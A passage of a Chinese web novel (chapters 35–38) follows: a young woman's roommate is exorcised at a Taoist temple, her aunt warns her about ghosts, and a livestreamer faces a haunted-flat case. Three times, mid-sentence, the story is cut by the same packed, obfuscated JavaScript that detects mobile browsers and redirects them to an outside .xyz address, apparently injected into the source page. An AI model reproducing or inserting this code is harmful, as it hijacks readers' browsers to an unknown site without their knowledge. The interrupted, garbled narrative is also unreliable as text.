常喜乐点了点头,又摇了摇头,她问:“可再重新组合,也不是原来那个魂魄了呀?” 唐柚沉默片刻,才说:“所以,这才是对有罪之人的惩罚。” 那只在山间游荡的恶灵,可是想要常喜乐的命。 她侧过脸低头看坐在床头的常喜乐,看这女孩有些懵懂的模样,没忍住伸手摸了摸她的脸颊:“算了,不懂也好。有空给你妈妈打个电话吧,告诉她你在我这。” 常喜乐目送着唐柚出门,想到那两只鬼可能会有的下场,不禁打了个寒颤。她低头看在床上昏睡的杨瑰司。她紧闭着眼睛,额头有汗,似乎在梦里也不得安宁。 怎么会这样呢?按理说,害人的鬼已经被捉走,不该再难受了呀? 常喜乐从口袋里拿出之前仁心姐姐给她的手帕,替杨瑰司擦了擦汗。听见她嘴里喃喃地似乎在说些什么。常喜乐俯身仔细去听,但什么也没听清。 等到日暮西山,杨瑰司还是没有醒。常喜乐站起来伸了个懒腰,下意识伸手摸了摸手机,等看到时间后,突然悲痛道:“糟了!” 今天有课,常喜乐原本托方信艾替她们向老师请个假,但一直到现在对方都没回复。 以对方高强度上网的性格,这实在不同寻常。 这会儿,除了方信艾没有回复之外,班长、学委、辅导员以及几位关系好的同学都来问她们寝室怎么没来上课了。 常喜乐手忙脚乱地解释完之后,替她和杨瑰司各自补了个假条,然后意识到不对:方信艾也没去上课吗? 班长:[去寝室找你们的时候,发现小方在床上昏迷了,不过送去医院的路上她又醒了,医生说她没什么事。] 好不容易这边处理完了,常喜乐还是觉得有哪里不对劲。 在某个不易察觉的角落,某个男孩靠在门上有气无力地敲着门:“怎么还不放我出去呀……我没有罪大恶极到要被软禁吧?喜乐姐姐——仁心师姐——师父——!!” 35.是我 “对不起对不起,真的对不起嘛!我不是故意把你忘掉的。” 房间里,书念气鼓鼓地坐在凳子上,坚持背对着常喜乐以表示自己的不满。常喜乐双手合十,倍感歉意,解释道:“我以为你画个开门符就能出去了,没想到关了你这么久。” 还是等到晚饭时间,大家不见书念人影——这孩子平常吃饭可是最积极的,这才让人想起来找他。常喜乐也是这时候才想起来,似乎可能是她把人锁在了房间里。 这解释说了真还不如不说,书念一想到自己苦练这么多年的画符还不如一个生平第一次画符的人,更觉得悲从中来,张了嘴刚想嚎几声,被常喜乐见缝插针地塞了个枣泥糕进来。她心虚一笑:“晚上没吃饭,饿坏了吧?吃点甜点?” 书念没好气地看了她一眼,嚼了嚼,发现这枣泥糕挺甜,这才觉得饿了,干脆嚼了起来,感叹道:“生活对我千锤百炼,竟使我变得更加软糯可口。” “书念,你怎么网上冲浪比我还勤。”常喜乐汗颜。 正这会儿,从门外悠悠传来个声音:“我要是你,就抓紧去练功,须知天道酬勤呐。” 书念听到声音,有些拘谨地站起来,喊了一声:“师姑。” 进门的正是唐柚,她背着手先对常喜乐说:“瑰司醒了,你去看看她吧。” 常喜乐眼睛一亮,她最后又拍拍书念的头,安慰道:“别生气啦!我晚点再来找你玩。”随后便急匆匆地出门了。 书念原本被枣糕顺平的心绪立刻又不平了,他和这师姑实际上并没有见过几次面,要说点什么都嫌尴尬。但刚才唐柚那句“天道酬勤”,原本没有错,但是书念在心里把这四个字反复咀嚼了几次,突然就觉得很不是滋味。 “哭什么,山外有山,人外有人。遇到个比你厉害的就哭,全世界该犯洪涝了。”唐柚没什么情绪地教训他。 书念眼眶红得更厉害了,他没忍住问:“师姑,你谁天道酬勤,为什么练了这么久的我却比不上喜乐姐姐这个初学者呢?” 甚至是他这个半吊子教的她。 唐柚的表情更冷了:“你何必跟她比呢,你师父怎么教你的。画符归根到底,是什么?” 书念被这一下唬得,把蓄势待发的眼泪也给憋住了,轻声道:“借势。” “借势这东西,无关你说了什么、做什么。甚至连你是不是人都无关,只看对方愿不愿意借。”唐柚把这老生常谈的话又说了一遍,问他,“常喜乐就是借来了,还比你厉害,这有什么道理可讲呢?” 书念实在理解不了,他使劲眨了眨眼睛,问:“如果有人天生就和神佛有缘分,仅仅一天就能达到普通人穷极一生做到的成就,那我这种普通人一天到晚挣扎着是在为了什么呢?” “所以我说,和你自己比。”唐柚比划了一下自己的腰部,说,“你来观里时,只有这么高,连什么是符都不知道,现在却能让它为你所用。以后你还会更厉害的。” 书念若有所思地沉默下来,片刻后他眼疾手快地又拿了个枣泥糕塞进嘴里,准备开始练符。 常喜乐到杨瑰司休息的院子门口,就听见有人在高声大喊:“你们是谁?对我做了什么!” 仁心黑着脸退出门,常喜乐则不明所以地打算进去。她动作太快,仁心有心想拦一下,但没拉住。 她一打开门,迎面就砸来一个木碗,歪斜着砸到门框上,好险没砸着她。但里面的药汤还是溅了一些到常喜乐的鞋袜上。 常喜乐有些震惊地抬头看,杨瑰司坐在床上,被垂下的纱幔挡住,让常喜乐有些看不清她的神色,只是感觉到杨瑰司的面色格外苍白。 “鬼已经驱完了,只是你这个朋友对我们的敌意似乎很大,你小心些。”仁心站在后面解释了几句情况,预备一有什么不对劲就拉常喜乐出来。 常喜乐却又往前走了一步,轻声对床上的人说:“瑰司,是我呀,常喜乐。” “……喜乐?”杨瑰司念了一遍这个名字,终于反应过来,一把拉开帷幔,一字一顿地说,“你把门关上。” 常喜乐微微转过身,对仁心点了点头,随后关上了门。 等她坐到了床上,杨瑰司立刻拉住了她的手。两个人好一会都没有说话,常喜乐只感觉到拉着自己的这只手一直在颤抖,似乎在害怕什么。于是她把另一只手盖在杨瑰司的手背上,往下按了按,表示自己在。 等杨瑰司终于冷静下来了,她才问:“这是哪,她们对我做了什么?” “就是我们打算去的常乐观。你在山里迷路之后被恶鬼附身了,她们为你做了驱鬼仪式。”常喜乐如实回答。 “驱鬼?”杨瑰司重复了一遍这两个字,不可置信地问,“凭什么?谁允许了?”她低下头,细细感受着什么。 她的额头上突然冒出大颗大颗的冷汗,没忍住抓住常喜乐的衣襟,问她:“那我身上的鬼魂呢,去哪了?” 常喜乐张了张嘴,不太明白杨瑰司的反应为什么这么大,按理说杨瑰司是这一行的同道之人,附身于人的鬼魂被捉到后有什么结果,她应该比常喜乐更清楚。 果然杨瑰司很快就冷静了下来,她松开拉住常喜乐的手,低下头深吸了口气,咬牙切齿地说:“算了……你别告诉我了。是谁给我做的仪式,你把她叫来。” 饶是常喜乐再不懂,也听出来杨瑰司对她自己身上鬼魂的在意程度了。甚至她可能本就知道身上鬼魂的存在。 不等常喜乐开口,门外就传来一个声音:“是我。” 木门吱呀一声被打开,走进来一个瘦高女人。她眼神沉静,俯视着跪坐在床上的杨瑰司,说:“我给你做的仪式,你找我有什么想说?” 正是被仁心找来救场的唐柚。 刚才还情绪激动的杨瑰司死死盯着唐柚的脸,一时没有说话。分明这两人都是她极为熟悉的对象,看着她们无声对峙常,喜乐却觉得更紧张了,视线在两人之间来回变换,不敢随意插话。 过了会,杨瑰司突然流下眼泪来,却没有再问下去,好像知道答案了似的。 唐柚和常喜乐就这么看着她静静哭了会,然后杨瑰司擦掉自己的眼泪,拽了拽常喜乐的袖子,说:“喜乐,我想下山。” “现在?”常喜乐讶然,她理解杨瑰司急着回家的心情,“但你才刚醒,身体也还没好。”杨瑰司 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655641|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的神情很坚决,她做好的决定很难再改变了。 常喜乐还在想要怎么劝她,唐柚又开口了:“天已经黑了,山上迷雾重重。别劳烦观里的人再找你们一回。” 唐柚这话一出,杨瑰司就不吭声了。她点点头,翻身躺回了床上,背对着两人。 常喜乐替她盖好被子,安慰道:“你好好休息,明天我陪你一起下山。” 等从外面把门关上后,常喜乐和唐柚对视了一眼,一块儿往外走去。 两个人一时半会都没有说话。常喜乐还在回味杨瑰司刚才的态度,她觉得对于这位接触不久的室友,她有太多不了解的地方了。 最后还是唐柚先开的口,她瞥了一眼常喜乐,问她:“我送你的锦囊,有没有好好带在身上?” “啊,有的。”常喜乐被问得猝不及防,下意识摸了摸自己的口袋想拿出来。好险想起来附着在那个锦囊上的戴山雁,又把口袋按住了,努力露出了一个笑容,“小姨你怎么突然问这个?” 唐柚挑了挑眉,说:“可我没感觉到我画的符,说明失效了。” 她冲常喜乐伸出一只手:“拿来给我看看。” 常喜乐把口袋捂得更紧了。戴山雁也是鬼魂,但她不是坏鬼,常喜乐拿不准唐柚会怎么对她,只好结结巴巴地说:“好吧,其实我没有带在身上。” 唐柚面无表情地看了她一会,点评道:“你和你妈一样不适合撒谎。” 但她也没有再坚持,只是继续和常喜乐一起往前走,说:“喜乐,你还记得你小时候的事吗?” 常喜乐有些迷茫:“什么事儿?妈妈说再不乖乖睡觉就叫小姨来抓我?” 唐柚顿住脚步,回过头,语气里带点不可置信:“你妈就这么形容我?” 她表情难得带了点愠怒:“我说你小时候有段时间特怕我呢。”哄了好久才哄回来。 常喜乐忙给她顺毛,切换话题问:“小时候的什么事呀?小姨你说说。” 唐柚没好气地哼了一声,继续她打算说的话:“小时候,你特别容易受惊吓。隔几天就要发个高烧,看医生也只知道给你挂水。” “那是因为小孩子比较敏感,眼睛容易看到一些寻常人看不到的东西。”唐柚温柔地看着常喜乐的眼睛,说,“你八字轻,所以格外敏感些。” “后来我回家了,看你妈妈急得直哭,说给你吃药也没用,再烧下去就烧傻了。”唐柚仰着头回忆,“就让我告诉你,这些全都是梦,你看到的都不是真的。” 说到这,常喜乐突然就有了印象。 在某个雪夜,常喜乐看着窗户外聚集的那些千奇百怪的鬼怪,哭得连嗓子都沙哑了,只能一直流眼泪。 她的体温升得很高,而刚趁着夜色赶回家的小姨衣帽上还带着雪花。她牵着常喜乐小小的手,带来一点清爽的凉意。 唐柚揽着常喜乐,摸了摸她的眼睛,叫她乖乖闭上双眼,轻轻地为她唱童谣:“别怕,小姨在。” “这些都是梦,等你一觉醒来,就都不见啦。” 唐柚悄悄捂住常喜乐的耳朵,在她看不见的地方,无边的鬼魂尖叫着被某种力量驱散开。 36.孰好孰坏? “你这么一说,我真的有印象。”常喜乐想起那时候的场景,弯了弯眼睛笑起来,“别人小时候作文里都写妈妈半夜背她们去医院,我写小姨赶夜路回来告诉我世界上没有鬼。” “后来你外婆说你八字轻,找人帮你看看。最后做了场法事,让你拜笑语娘娘做干妈,当她的义女。”唐柚继续说。 “还可以这样?”这一段常喜乐一点儿印象都没有,从小到大也没怎么听家里大人说过。 “当时家里有点事,让你外婆带了你一段时间。等我们回来,法事已经做完有几天了。”唐柚微微皱眉,“要是提前问我,我肯定是不同意的。” “这是不好的事吗?”毕竟从结果导向来看,常喜乐后来似乎就和正常人一样,没再碰到太多奇怪的事情了。 唐柚摸了摸她的头发,思考着要怎么解释。 按理说,拜神作干妈这事总倾向于去找些出名的神通广大的神。然而“笑语娘娘”这位神的名气并不大,各地观宇也少。据常喜乐外婆说,名气小的神没那么多信徒要照顾,才有空管义女的事儿。 选哪个神其实不重要。但唐柚觉得没必要,神帮得了常喜乐一时,却帮不了她一世。常喜乐十八了,成人了。在大人们,或者说义母的观念里,接下来的路该她自己走了。 可她对于神鬼的认知,却还是和小时那个稚童一般无二,这是很危险的事情。 既然无法避开,至少要知道怎么应对。 唐柚想了半天,只是对常喜乐讲了她最终要说的话:“这些事情本来你小时候就该知道,不过你妈妈坚决不让,现在想想也不是坏事,让你跟别的小孩一样普普通通平平安安地一块长大了。” “但涉及到你的生命安全,我必须要提醒你。”唐柚一字一顿地告诉她,“鬼怪有好有坏,有人避之不及、有些人却为了满足他们自己的目的专门寻找鬼怪。” 但即使是同一个人,在生前和死后也很有可能是两种心智。鬼怪的确有好坏之分,可是凭借人的肉眼是很难分辨的。等到其真的害人性命了才避开,就来不及了。 “所以哪怕你自认为遇到了好鬼、好妖怪,也一刻也不该全然相信它们。你的生命永远最重要,明白了吗?” 常喜乐听唐柚说完这些,心里紧了紧,总觉得她似乎在暗示些什么。她知道戴山雁的存在了吗?可看样子又不像。如果小姨知道自己身上也带着一只鬼,大概会持反对态度吧? 但唐柚说的话有道理,常喜乐点了点头,慎重地说:“我知道了。” 第二天,常喜乐和书念一起端着早饭去看杨瑰司的时候,她已经早早起了床,坐在房间外的台阶上发呆。 杨瑰司没什么胃口,在常喜乐劝说下才稍微啃了几口馒头。 等几人吃完早饭后,悬济和仁心也来了。杨瑰司这回再见到她们,也没有太大的敌意了,配合着悬济给她诊治身体。 常喜乐在一边问她:“瑰司,你迷路那天晚上遇到了什么?” 虽然仁心她们都推断杨瑰司当时是因为摔倒了昏迷的,但仅仅如此应该不至于被恶鬼附身。 杨瑰司的表情却不太对劲,她犹豫了一会儿之后摇摇头,只是说:“我不记得了。” 剩下几人面面相觑,悬济师父听到这表情凝重,说:“有失忆的症状?别是撞到了脑袋,那这事就可大可小了。估计还得去山下的大医院做个检查。” 杨瑰司眼神一闪,立刻对常喜乐说:“对,我想下山,我们什么时候走?” 常喜乐还有些担忧:“下山的路很辛苦的,你身体能撑住吗?” 杨瑰司毫不犹豫地点头:“可以。” 她简直一刻也不想在常乐观待下去了。 于是两人便打算再休整一下就往山下走。 听说常喜乐打算走,观里好多道姑来给她们送东西。 “这素斋山下可吃不到的哦,拿着路上吃。” “有空也再来玩呀喜乐!” 仁心则给她俩拿了个地图,让她们照着下山:“我就不亲自送你们了。” 书念在这几天里早就和常喜乐建立了革命友谊,他站在一边,看起来很舍不得,问她:“喜乐姐姐,你还会再来吗?” 不等喜乐回答,仁心就摸了摸他的头,说:“人有悲欢离合,相逢是缘,该重逢的时候自然会再见。不用让姐姐承诺你会回来。” 书念有些难过地低下了头,没再说什么。 常喜乐却觉得这话有些重。人有七情六欲,在离别时感到不舍再正常不过。哪怕历尽千帆的老人也未必吃得了离别的苦,怎么能要求一个小孩这么早就深谙这样的道理呢?于是她也摸了摸书念的头,安慰他:“书念快快长大,等能下山了,也可以来找姐姐玩。” 书念听这话,也不在意被摸头长不高了。他转头看向仁心,见她也点了点头表示认可,立刻转悲为喜,对常喜乐说:“那我一定要好好吃饭,多睡觉多练功,争取早点长高。长得比你们都高!” 仁心难得被他逗笑了,假装严肃道:“那你还不快点去练功?多运动也是长高的重要因素之一哦。” 书念嘿嘿一笑,对常喜乐鞠了一躬,就往观内的练功院跑去了。 另一边,杨瑰司已经走出了一段距离,她回头等着常喜乐,看起来有些不耐:“喜乐快走吧,我们要趁天黑前下山的。” “诶!稍等我会儿。”常喜乐应了一声,回头问仁心:“小姨她不在吗?” 她这大侄女要走了,做小姨的好歹来说声再见吧? “在说我坏话?”唐柚不知什么时候出现在几人身后,背着手走上前,嘴角还噙着笑。 “哪能啊,舍不得你。”常喜乐低头,在原地蹭了蹭鞋底,一副别扭样儿。 “拿着。”唐柚把手伸出来,递给常喜乐一沓符和一本书,“听书念说你画符挺有天赋,自己有事没事照着练练吧。” “谢谢小姨!”常喜乐又惊又喜地接过这两样东西。 “行了,麻溜下山去吧。记得给你妈说一声。”唐柚挥了挥手,余光看到站在远处冷眼看她们几人说笑的杨瑰司。她又拉了常喜乐一把,凑到她耳朵边说了几句话。 等常喜乐拿着地图和杨瑰司往山下走之后。一路上,两人都有些沉默,不知道是不是因为少了个安平的缘故,既没有两人斗嘴,也没有三人唠嗑,总之是不如上山时那么热闹了。 说起来,也不知道安平现在怎么样了,有没有安全下山。 安静的环境容易让人多想。 常喜乐不禁又想起分别前杨瑰司曾对她说的话。 “要小心曾经与你分别过一次的同伴。” “因为,再次见面时,对方不一定是本人。” 常喜乐微微落后杨瑰司一步,不动声色地观察她的言行举止,的确觉得杨瑰司和之前不太一样了,不知是否还是为了驱鬼的事。 她犹豫了会开口打破沉默:“瑰司,小姨让我给你带一句话。” 杨瑰司正拿着地图仔细研究,回过头没什么表情地看她。 “她说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14673191|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鬼怪是三界生灵的一部分。如果不是罪大恶极,能早入轮回也是好事。”常喜乐回忆着唐柚说的话,尽量做到一字不差。 杨瑰司沉默了好一会儿,才长呼出一口气,点点头说:“知道了。” 这之后两人之间的气氛缓和了很多,杨瑰司也终于想起来考虑其他事了,她问:“安平呢,他不在?” 常喜乐也还在担忧这件事,她摇了摇头问:“瑰司,你大概从哪里开始不记得事了?我们分开那时是怎么回事你还记得吗?我只记得当时一转眼,你和安平都不见了。” “记得。我们大概是遇到了鬼打墙或者奇门遁甲一类的东西,所以才会看不见对方,迷失了方向。”杨瑰司表情有些严肃,回忆着当时的情况,说,“安平真的有点奇怪。” “你莫名不见之后,安平一点也不惊慌。之后他一句话也不和我交流,自顾自地走掉了。他有地图,应该知道常乐观在哪,可是为什么却一直没有来?”杨瑰司一字一句给她分析当时的情况。 常喜乐的心情却五味杂陈。 自从她生病住院开始,实在遇到太多无法理解的事。每个人告诉她的事都不一样,究竟谁好谁坏,谁需要警惕、谁值得信任,凭一个小小的她实在是无法分辨。 她神情复杂地看着杨瑰司,最后只问了一句话:“后来,你没有自己下山,而是来找我了,对吗?” “对啊。”杨瑰司看了她一眼,似乎不太明白这个问题的意义所在,“这个不重要。你有没有听进去我刚说的话?” 下一秒,她的声音就戛然而止。因为常喜乐用力抱住了她。 “这很重要,瑰司。”尽管所有人都在告诉常喜乐要小心分辨身边人的好坏。很不擅长从语言里分辨出信息的真假,对她来说,最直观的就是看对方做了什么。 君子论迹不论心。 尽管杨瑰司对她并不是知无不言,她都没有害常喜乐的意思。她帮了常喜乐一次又一次,就像那个志怪故事里的狐狸精并没有害与他同行的人。 所以尽管她和以前有些不一样了,常喜乐却不觉得害怕。 “走吧。”常喜乐反牵住杨瑰司的手,坚定道,“下山,陪你去医院。至于安平的事,我自己去问他。” 同样,对安平的事,常喜乐也要自己去判断。 杨瑰司有些不自在,嘟囔着:“这有什么重要的……我总不能把你一个人丢在这。” 但随后她眉头紧锁,突然向着身后怒斥了一声:“谁,出来!” 常喜乐有些紧张地顺着她目光的方向看过去,然而除了绿树红花,什么也没有。 “有人吗?”常喜乐问,她知道杨瑰司有时能感受到常人察觉不到的东西,按照她的理论,她大概就是五感比常人要敏锐些的那一类人。 杨瑰司摇了摇头没说话,她就这么拉着常喜乐和一片草丛对峙了很久。直到草丛动了动,有一只狮子猫从一片灌木窜到了另一丛,气氛才缓和下来。 “岁岁?”虽然那猫跑得很快,常喜乐还是看清了它的白长毛和蓝眼睛。 “岁岁?”杨瑰司见只是一只猫,才松了口气。她重复了一遍常喜乐说的话,有些疑惑,“谁?” “一只小猫,岁岁是我给它取的名字。”常喜乐笑了笑,猜岁岁是在陪她们一块下山。 她回想起之前和摄影部一起去写生采风,深夜在树林里迷路时遇到的那只引路猫。会不会也是岁岁? “它是只好猫,没事的,我们接着走吧。”常喜乐对杨瑰司笑了笑。 37.我死几天了? 下山的路不算难走,常喜乐走过一回,跟着杨瑰司一起看地图。 这地图算是画得很详尽了,看着看着,常喜乐“咦”了一声。 “怎么了?”杨瑰司问。 “按理说,这里应该要有个笑语娘娘观的。”常喜乐点了点下山途径的某个位置,喃喃自语,“难道是没画出来?” 倒也合理。毕竟笑语娘娘观的那位道士为了招揽她这个信徒,一开始也不愿意在地图上标出常乐观的位置呢。 说到这,她突然想到,昨晚上小姨说她曾被带去拜笑语娘娘为义母,还真是有缘分。看来非常有必要带着香火花果来还愿了。为昨天的指路,也为先前多年的庇护。 “没听说过。”杨瑰司摇了摇头,因为摇头的幅度大了些,捂住头“嘶”了一声。 “还是先下山给你看病吧,这个回头再说。”常喜乐扶住杨瑰司,笑眯眯带过了这个话题。 等到医院做完检查,确认杨瑰司头上的伤没有大碍后。常喜乐才催着杨瑰司回宿舍休整,然而杨瑰司不愿意回宿舍,她有些失魂落魄地对常喜乐说:“我想回我租的房子休息。” “好吧。”宿舍毕竟空间小,不是最适合休息的地方。常喜乐送杨瑰司到公寓门口后就准备离开,被杨瑰司拉住了袖子。 “怎么了?”常喜乐耐心地问她。 “你管唐柚叫……小姨?”她像是憋了一路,终于没忍住在分别的时候问了出来。 “对呀。当时你状态不太好,我就没向你介绍。”常喜乐点头。 杨瑰司低下头,有些艰难地问:“她临走前给你的东西,能不能让我看看?” “当然。”常喜乐从包里拿出妥善放好的那一沓符纸和那本书递给杨瑰司。 杨瑰司很珍惜地接过这两样东西,在符上已经干涸的字迹上摸了摸,随后又翻开那本书,看到每页纸上特有的笔迹,沉默了很久。 常喜乐见杨瑰司看得入神,猜她也对这画符的事情感兴趣,问:“这些都是她给我防身用的,如果你想学,我可以借你一段时间。” 杨瑰司用力地眨了一下眼睛,摇摇头把东西还给了常喜乐,笑了笑:“没事,我就是看看。这些,我自己也能学会的。” “好。”常喜乐叮嘱她,“但你也注意休息,身体没好之前就不要急着练这些啦。” 等常喜乐出了小区大门,也没有急着回宿舍,而是打开手机,准备再打一遍安平的电话。 但她还没来得及拨出,就被一个声音打断了。 “嘿,你还能听见吗?”那声音很熟悉,但不如原来中气十足,听着语气微弱了许多。 是戴山雁在呼唤她。 常喜乐低头拿出身上的绛紫色锦囊,随之勾出来的是念慈给她的橙色锦囊。这么放在一起看,两个锦囊的纹路非常像,只有颜色上的区别,看来是常乐观的特色。 当时在念慈面前,常喜乐就是想拿两个锦囊出来对比。只是想起了戴山雁的存在才忍住了。 “我能听见,怎么了山雁?”常喜乐问她,不禁想起唐柚对自己的叮嘱——永远不要完全相信妖鬼。 戴山雁像是憋了好几天,急着问她:“你知不知道,我死了有几天了?” 嚯,常喜乐真是一辈子也没被人问过这种问题。她犹豫了一会儿,竟然真的认真计算起来,然后告诉戴山雁:“差不多有九天了。” 戴山雁的声音肉眼可见焦急起来:“啊……那停灵也快要结束了。” 不等常喜乐说话,她又问:“你愿意陪我去一趟我的葬礼吗?” “什么?”常喜乐愣了愣。 戴山雁似乎很怕她不愿意,解释道:“我倒不是舍不得什么,只是很想知道我家里人在我死后是什么反应。” “还有我的好朋友、仇人、暗恋我的人、我暗恋的人,我都好奇。”戴山雁一一细数一番,她补充道,“如果你愿意陪我去的话,我可以把我攒的私房钱给你!” 常喜乐愣神只是因为从没做过这样的事,她当然愿意帮戴山雁,听到这也回绝了她许诺的好处:“帮你没有问题,但是钱还是留给你家里人好。” 况且,拿走死去的人许诺的财产究竟合不合法还两说吧? “他们才不缺我这三瓜两枣的,你就收下吧。”戴山雁的语调轻快而不容置疑。 “这个到时候再说,你先告诉我葬礼大概的时间和地点在哪。”常喜乐打断她,直切入问题的要点。 “应该在我家。”戴山雁回答得很快,“我家老人以前去世的时候就会在小院的灵堂里停尸。” 常喜乐又问:“请问你家在?” “嗯……”戴山雁沉思片刻,讷讷道,“不知道。” “这是你家诶?”常喜乐震撼,“是你本来就不知道,还是说人死后会忘记家在什么地方吗?” “平常出门都有司机呀,我不需要记住地址的。”戴山雁有些不好意思,不过很快她就想到了解决办法,“你去网上搜一下,山城戴家、戴永辉。” “你们家这么有名吗。”常喜乐拿出手机替她搜了下,看着网页上出现的词条,不禁瞪大了眼睛。 不只是有名。 还有钱、有权。 悬在网页最顶端的那个新闻标题就是:房产大亨戴永辉独生女戴山雁,突发疾病逝世,年仅二十岁。 照片里有对略显沧桑的夫妻,男人神情肃穆、眼眶泛红,而女人则趴在棺材上嚎啕大哭。在照片的角落还站着许多人,每个人的表情都不一样。 “你看看网上有没有我家山庄地址。”戴山雁不知道常喜乐看到了什么,只是继续指挥。好像还没有意识到她的死亡给身边的人带来了什么。 常喜乐忍了忍泪花,照着戴山雁说的查找,沉默了一会儿告诉她:“一个好消息,一个坏消息,你想先听哪个?” “好消息。”戴山雁选得痛快。 “我找到你家地址了。” “坏消息呢?” “门禁森严,我这种普通小市民好像进不去。” 戴山雁冷笑:“就说你是我的好友,看有没有人敢拦你。” 戴女士的语气很狂,常喜乐决定相信她。明天就是葬礼的最后一天,两人决定明天一大早就出发。 至于现在,常喜乐决定先回一趟宿舍看看。 昨天班长说,方信艾也没去上课。她不是睡过头,而是昏迷了。这事可大可小,常喜乐放心不下。 等她走过距离宿舍楼不远的紫藤长廊时,看见石头长椅上躺着一只眼熟的白色长毛猫。 常喜乐轻手轻脚地走近那只猫,打量半天后,判断——是岁岁。 它看起来困得不得了,蜷缩成一团睡得很熟。常喜乐静静地看了它一会儿,本来想质问它怎么不告而别的话也没再出口了。 但都见过面了,不打个招呼还是有些心痒痒。常喜乐眼睛咕噜一转,就想到个坏点子。她从自己头上摘下个粉色的蝴蝶发夹,悄悄地别在岁岁额前的白色长毛上。 常喜乐自顾自欣赏了一会儿岁岁的睡颜,没忍住吃吃笑起来,拿出手机给它拍了张照。这一下看到时间才想起来自己是要去找方信艾的。常喜乐冲岁岁挥了挥手,用气音告别:“下次见,别再悄悄跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14686543|152048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉啦!” 等常喜乐打开宿舍大门的时候,看见桌前空无一人,而方信艾床前的扶梯边摆着一双拖鞋。 这都已经下午了,方信艾居然还没起床。常喜乐忍不住回想一些大学生因熬夜过度而猝死的新闻,秉持着安全至上的原则轻轻拍打着她床边的栏杆,低声呼唤她:“小艾,小艾,醒一醒。” 过了一会都没动静,常喜乐不禁有些着急了,又用力拍了拍栏杆,想着如果还是叫不醒,就带人去看医生。 “哇!”床帘里却传来一声惊呼,从两片紧闭的窗帘布里探出个毛茸茸的脑袋来,是神采奕奕的方信艾,她摘下耳机,看清楚是谁之后才呼出一口气来,拍拍胸口说,“喜乐?你吓死我啦!” “我以为你又昏过去了呢。”常喜乐看人醒着才放下心来,挑了挑眉问她,“光天化日的,怎么吓成这样?” “在看恐怖向直播呀。”方信艾晃了晃手机,“你和小杨什么时候下的山?刚手机提醒我她开播了,我闲着无聊就打开看了。” “瑰司开播了?”常喜乐眼睛睁得更大了,医生才嘱咐她最近要注意休息,她把东西放在桌子上,也拿出平板开始看。 画面中,杨瑰司戴着面具坐在她的书房里。她今天没有化妆、唇色有些苍白,也不怎么回应弹幕,但因为她平常就有些高冷,观众们并没有注意到这一点不同。 此时她正在和某位观众连麦,常喜乐进来的时候,那位id是“我真服了”的男粉丝正在讲他的故事。 “我是个自由职业者,最近刚搬家,平常的工作就是在家里码字。但是我最近总觉得,脖子特别特别酸痛,而且后颈那块总是发冷。” “长时间久坐和不正确的坐姿导致的肩颈痛?”杨瑰司判断。 “不不,不一样。我在以前的家里,一天这么坐个六七小时也是有的,也没这些症状。但现在,有时候哪怕我只是直坐着放空,后颈部也还是痛。”那男粉丝话说到一半,就被家里养的一只黑猫打断了。那黑猫借助他的膝盖跳到桌面上,对着男人的方向不住地喵喵叫。 “煤球,别吵。”他斥责了猫一声,就继续对鬼司说,“所以,我就想说这屋子里是不是有什么不对劲的地方,或者风水不好之类的。” 常喜乐听着听着,神情就凝重起来。她看向画面里的杨瑰司,想知道她会怎么说。 然而杨瑰司还是面无表情,她沉默着。 弹幕里快速划过很多评论,有一部分觉得这就是久坐导致的,还有部分催鬼司快点回答。甚至有隔空赌这次是灵异事件还是走进科学的。 然而,随着沉默的时间变长,观众们也有些坐不住了。 那位“我真服了”先开口,犹豫着问:“鬼司,你能解决我的问题吗?” 沉默终于是有时限的,杨瑰司好像做了个很重大的决定,她说:“我以后可能不直播了。” 弹幕顿时炸了锅。 “为什么呀?” “因为回答不了吗?” “不要呀呜呜呜,鬼司你就算什么都不会,就坐在这唠嗑我也爱听。” 杨瑰司皱了皱眉,无奈道:“我的确解……”解决不了。然而,她话还没说完,手边的手机突然叮叮响了一声。 说话被打断,杨瑰司不耐地瞥了一眼手机屏幕。 这一眼,让她的眼睛瞪大了。 下一秒,鬼司挺直了身体,问:“你问问你的房东,房子里有没有发生过凶案。” “什么……?”那男粉愣了愣,讷讷道,“不会吧。” “而且,很有可能是自杀。就在你这个房间。” 38.送你 这话听着毫无根据,然而弹幕、包括连麦的男粉丝本人都有些相信了。 无他,上回那个隔壁房东绑架租客的事件还历历在目。没人知道鬼司是怎么得知这些信息的,但她所说的总是真相。 “我真服了”半信半疑地开始发信息给房东。 这一回,杨瑰司却不如她表面上那么笃定。在等待粉丝房东回复期间,她悄悄切出了刚才看到的聊天窗口。 页面还停留在常喜乐发来的消息。 (^v^) :[房间里吊死过人,在吊灯上。] 王鬼:[你是怎么知道的?] 